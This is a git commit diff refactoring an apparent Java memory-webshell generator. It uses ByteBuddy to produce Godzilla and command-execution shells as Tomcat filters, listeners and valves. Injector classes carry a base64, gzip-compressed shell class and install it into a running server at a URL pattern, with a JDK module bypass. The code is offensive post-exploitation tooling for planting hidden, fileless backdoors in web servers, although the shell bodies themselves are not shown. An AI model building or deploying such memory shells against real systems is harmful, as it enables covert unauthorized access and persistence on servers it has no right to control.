refactor: separate generate config

This commit is contained in:
ReaJason
2024-12-07 01:49:12 +08:00
parent 3af6c3fa8f
commit a0a79a68f7
34 changed files with 387 additions and 518 deletions
@@ -1,14 +1,14 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
/**
@@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers;
*/
public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
if (useJakarta) {
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
@@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils;
* @since 2024/11/23
*/
public class GodzillaGenerator {
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
String pass, String key,
String headerName, String headerValue) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(pass))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
.name(godzillaClassName);
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
if (useJakarta) {
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
@@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
public class InjectorGenerator {
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
}
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
String base64String = Base64.encodeBase64String(
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
.replace(System.lineSeparator(), "");
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectClass)
.name(injectClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
if (targetJdkVersion >= Opcodes.V9) {
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.needByPassJdkModule()) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
@@ -44,4 +44,4 @@ public class InjectorGenerator {
return make.getBytes();
}
}
}
}
@@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import lombok.SneakyThrows;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
@@ -66,55 +65,48 @@ public class TomcatShell {
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass();
byte[] shellBytes;
boolean useJakarta = shellType.startsWith(JAKARTA);
switch (shellTool) {
switch (shellConfig.getShellTool()) {
case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType);
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
godzillaConfig.getShellClassName(),
godzillaConfig.getPass(),
godzillaConfig.getKey(),
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue(),
useJakarta,
targetJdkVersion
);
Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
break;
}
case Command: {
classPair = COMMAND_SHELL_MAP.get(shellType);
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
shellBytes = CommandGenerator.generate(classPair.getLeft(),
commandConfig.getShellClassName(),
commandConfig.getParamName(), useJakarta, targetJdkVersion);
Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
break;
}
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
Class<?> injectorClass = classPair.getRight();
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
shellConfig.getInjectorClassName(),
shellConfig.getShellClassName(),
shellBytes,
shellConfig.getUrlPattern(),
targetJdkVersion);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(shellConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.shellConfig(shellConfig)
.build().encodeBase64();
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorBytes(injectorBytes)
.build();
}
}
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String paramName;
public String paramName = "{{paramName}}";
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName;
public String paramName = "{{paramName}}";
public CommandListener() {
}
@@ -15,7 +15,7 @@ import java.io.InputStream;
public class CommandValve implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String paramName;
public String paramName = "{{paramName}}";
public CommandValve() {
}
@@ -13,11 +13,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaFilter extends ClassLoader implements Filter {
public String key;
public String pass;
public String md5;
public String headerName;
public String headerValue;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaFilter() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String md5;
public String pass;
public String key;
public String headerName;
public String headerValue;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaListener() {
}
@@ -17,11 +17,11 @@ import java.io.IOException;
public class GodzillaValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String key;
public String pass;
public String headerName;
public String headerValue;
public String md5;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaValve() {
}
@@ -37,15 +37,15 @@ public class TomcatFilterInjector {
}
public String getUrlPattern() {
return "/*";
return "{{urlPattern}}";
}
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static byte[] decodeBase64(String base64Str) throws Exception {
@@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream;
public class TomcatListenerInjector {
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static {
@@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatValveInjector {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static {
new TomcatValveInjector();
}